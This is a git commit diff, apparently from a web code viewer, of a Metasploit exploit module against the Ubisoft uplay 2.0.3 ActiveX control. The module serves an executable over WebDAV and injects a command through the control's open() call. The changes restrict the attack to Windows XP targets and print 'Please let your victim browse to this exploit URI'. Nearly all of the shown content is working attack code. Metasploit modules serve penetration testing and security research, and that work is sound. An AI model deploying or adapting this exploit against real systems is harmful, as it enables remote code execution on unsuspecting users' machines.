Lots of changes before commit.
parent
25b2b2de68
commit
69ff9e7c1c
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -17,25 +13,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
include Msf::Exploit::Remote::HttpServer::HTML
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
include Msf::Exploit::Remote::BrowserAutopwn
|
|
||||||
autopwn_info({
|
|
||||||
:os_name => OperatingSystems::WINDOWS,
|
|
||||||
:javascript => true,
|
|
||||||
:rank => NormalRanking
|
|
||||||
#:classid => "{1c492e6a-2803-5ed7-83e1-1b1d4d41eb39}" # Does not get registered in IE properly?
|
|
||||||
})
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Ubisoft uplay Active X Control Arbitrary Code Execution',
|
'Name' => 'Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
The uplay ActiveX component allows an attacker to execute any command line action.
|
The uplay ActiveX component allows an attacker to execute any command line action.
|
||||||
User must sign in, unless auto-sign in is enabled and uplay must not already be running.
|
User must sign in, unless auto-sign in is enabled and uplay must not already be
|
||||||
|
running. Due to the way the malicious executable is served (WebDAV), the module
|
||||||
The exploit will request an exe payload over WebDAV, and must be running on port 80.
|
must be run on port 80, so please make sure you have enough privilege to do that.
|
||||||
|
|
||||||
Tested in Win XP, does not appear to work in Win7.
|
|
||||||
|
|
||||||
Ubisoft released patch 2.04 as of Mon 20th July.
|
Ubisoft released patch 2.04 as of Mon 20th July.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
@ -46,15 +31,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'phillips321 <phillips321[at]phillips321.co.uk>',
|
'phillips321 <phillips321[at]phillips321.co.uk>',
|
||||||
'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
|
'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
|
||||||
],
|
],
|
||||||
'Version' => '$Revision$',
|
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
[ 'OSVDB', 'http://osvdb.org/show/osvdb/84402'],
|
||||||
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Jul/375']
|
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Jul/375']
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Automatic', { } ],
|
[ 'Automatic', { } ]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Jul 29 2012'))
|
'DisclosureDate' => 'Jul 29 2012'))
|
||||||
|
@ -66,11 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])
|
OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH') # WebDAV does not support SSL and must run over port 80.
|
# WebDAV does not support SSL and must run over port 80.
|
||||||
|
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH')
|
||||||
@basename = rand_text_alpha(8)
|
|
||||||
@share_name = rand_text_alpha(8)
|
|
||||||
@extensions = "exe"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def autofilter
|
def autofilter
|
||||||
|
@ -81,6 +63,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
use_zlib
|
use_zlib
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def is_exploitable?(req)
|
||||||
|
# Only engage Win XP SP3 targets
|
||||||
|
req.headers['User-Agent'] =~ /NT 5\.1/
|
||||||
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
case request.method
|
case request.method
|
||||||
when 'OPTIONS'
|
when 'OPTIONS'
|
||||||
|
@ -89,7 +76,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
process_propfind(cli, request)
|
process_propfind(cli, request)
|
||||||
when 'GET'
|
when 'GET'
|
||||||
if request.uri_parts['Resource'].include? @uplay_uri
|
if request.uri_parts['Resource'].include? @uplay_uri
|
||||||
|
if is_exploitable?(request)
|
||||||
prompt_uplay(cli, request)
|
prompt_uplay(cli, request)
|
||||||
|
else
|
||||||
|
print_error("Not the target we want, will not engage.")
|
||||||
|
resp = create_response(404, "Not Found")
|
||||||
|
resp.body = ""
|
||||||
|
resp['Content-Type'] = 'text/html'
|
||||||
|
cli.send_response(resp)
|
||||||
|
end
|
||||||
else
|
else
|
||||||
process_get(cli, request)
|
process_get(cli, request)
|
||||||
end
|
end
|
||||||
|
@ -409,6 +404,10 @@ x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
@basename = rand_text_alpha(8)
|
||||||
|
@share_name = rand_text_alpha(8)
|
||||||
|
@extensions = "exe"
|
||||||
|
|
||||||
if datastore['EXPLOITPATH']
|
if datastore['EXPLOITPATH']
|
||||||
@uplay_uri = datastore['EXPLOITPATH']
|
@uplay_uri = datastore['EXPLOITPATH']
|
||||||
else
|
else
|
||||||
|
@ -424,7 +423,7 @@ x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
|
vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
|
||||||
print_status("Exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")
|
print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")
|
||||||
|
|
||||||
super
|
super
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue